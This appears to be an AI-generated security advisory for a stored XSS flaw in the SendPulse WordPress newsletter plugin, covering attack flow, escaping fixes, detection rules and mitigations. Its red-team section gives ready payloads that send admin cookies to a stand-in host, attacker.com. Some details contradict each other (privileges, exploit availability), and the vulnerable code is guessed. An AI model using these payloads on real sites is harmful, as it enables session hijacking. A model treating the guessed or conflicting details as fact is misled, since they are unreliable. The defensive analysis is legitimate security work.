CVE-2025-22662
Executive Summary
CVE-2025-22662 is a Stored Cross-Site Scripting (XSS) vulnerability in the SendPulse Email Marketing Newsletter plugin for WordPress, affecting versions up to and including 2.1.5. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript into the plugin’s newsletter creation interface. When an administrator or other user views the crafted newsletter, the malicious script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), and no public exploit code or patch details are currently available. This report provides a comprehensive technical analysis, detection rules, and mitigation guidance.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem. Users should verify the integrity of the plugin by checking its checksum against the official repository and ensure automatic updates are enabled. No known supply chain compromise has been reported for this plugin.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – The attacker does not need prior authentication to trigger the stored XSS, but they need to be able to submit content (e.g., via a newsletter form).
- User Interaction (UI): Required (R) – The victim must view the malicious newsletter.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component (e.g., the victim’s browser).
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. While the CVSS score is 6.5, the lack of public exploit code and the requirement for user interaction reduce immediate risk. However, the stored nature of the XSS means that a single crafted newsletter can affect multiple users.
Deep Dive & Mechanics
The vulnerability exists in the sendpulse-email-marketing-newsletter plugin, specifically in the newsletter creation functionality. The plugin fails to sanitize or escape user-supplied input when generating the newsletter content. An attacker with contributor-level access (or higher) can inject malicious HTML and JavaScript into fields such as the newsletter title, body, or custom fields. When the newsletter is saved and later viewed by an administrator or other user, the injected script executes in the context of the victim’s WordPress admin session.
The root cause is the use of echo or print statements without proper escaping functions like esc_html() or wp_kses_post(). The plugin likely outputs user input directly into the page without sanitization, allowing arbitrary script execution.
Attack Flow:
- Attacker logs in as a contributor or higher.
- Attacker creates a new newsletter and injects a payload like
<script>alert('XSS')</script>into a field. - The plugin stores the payload in the database.
- An administrator views the newsletter list or preview.
- The payload executes in the administrator’s browser, allowing the attacker to steal cookies, perform actions on behalf of the admin, or deface the site.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern. The vulnerable code likely looks like:
// Vulnerable code (sendpulse-email-marketing-newsletter plugin)
echo '<div class="newsletter-title">' . $newsletter_title . '</div>';
The patched version should use WordPress escaping functions:
// Patched code
echo '<div class="newsletter-title">' . esc_html( $newsletter_title ) . '</div>';
Or for rich content:
echo '<div class="newsletter-body">' . wp_kses_post( $newsletter_body ) . '</div>';
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with SendPulse Email Marketing Newsletter plugin <= 2.1.5 installed and activated.
- Attacker account with contributor-level privileges or higher.
Exploitation Steps:
- Log in to WordPress as a contributor.
- Navigate to SendPulse > Create Newsletter.
- In the “Newsletter Title” field, enter the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the newsletter.
- Wait for an administrator to view the newsletter list or preview.
- The administrator’s cookie is exfiltrated to the attacker’s server.
Alternative Payload (for session hijacking):
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
Blue Team
Detection:
- Monitor for unusual newsletter titles or body content containing
<script>tags. - Use Web Application Firewall (WAF) rules to block common XSS patterns.
- Enable WordPress security plugins that scan for malicious content.
Prevention:
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Regularly update the plugin to the latest version.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to unknown domains containing
document.cookiein the URL. - File: Modified plugin files in
/wp-content/plugins/sendpulse-email-marketing-newsletter/with unexpected content. - Database: Entries in the
wp_postsor custom plugin tables containing<script>tags. - Logs: WordPress debug logs showing PHP warnings related to unescaped output.
Detection Engineering
YARA Rule
rule CVE_2025_22662_SendPulse_XSS {
meta:
description = "Detects malicious payloads targeting CVE-2025-22662 in SendPulse plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-22662"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$plugin_path = "sendpulse-email-marketing-newsletter"
condition:
$plugin_path and $xss_payload
}
Sigma Rule
title: CVE-2025-22662 SendPulse Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts in SendPulse Email Marketing Newsletter plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: "sendpulse-email-marketing-newsletter"
http.body|contains: "<script>"
condition: selection
falsepositives:
- Legitimate use of JavaScript in newsletters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-22662 SendPulse Stored XSS Attempt"; flow:to_server,established; content:"sendpulse-email-marketing-newsletter"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not critical to operations.
- Restrict user roles – Only allow trusted administrators to create newsletters.
- Implement a WAF – Use rules to block
<script>tags in POST requests to newsletter endpoints.
Long-term Fix:
- Apply the official patch once released by SendPulse.
- If no patch is available, manually escape all output in the plugin files using
esc_html()orwp_kses_post().
Workaround:
- Use a WordPress security plugin (e.g., Wordfence) to add virtual patching for XSS.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.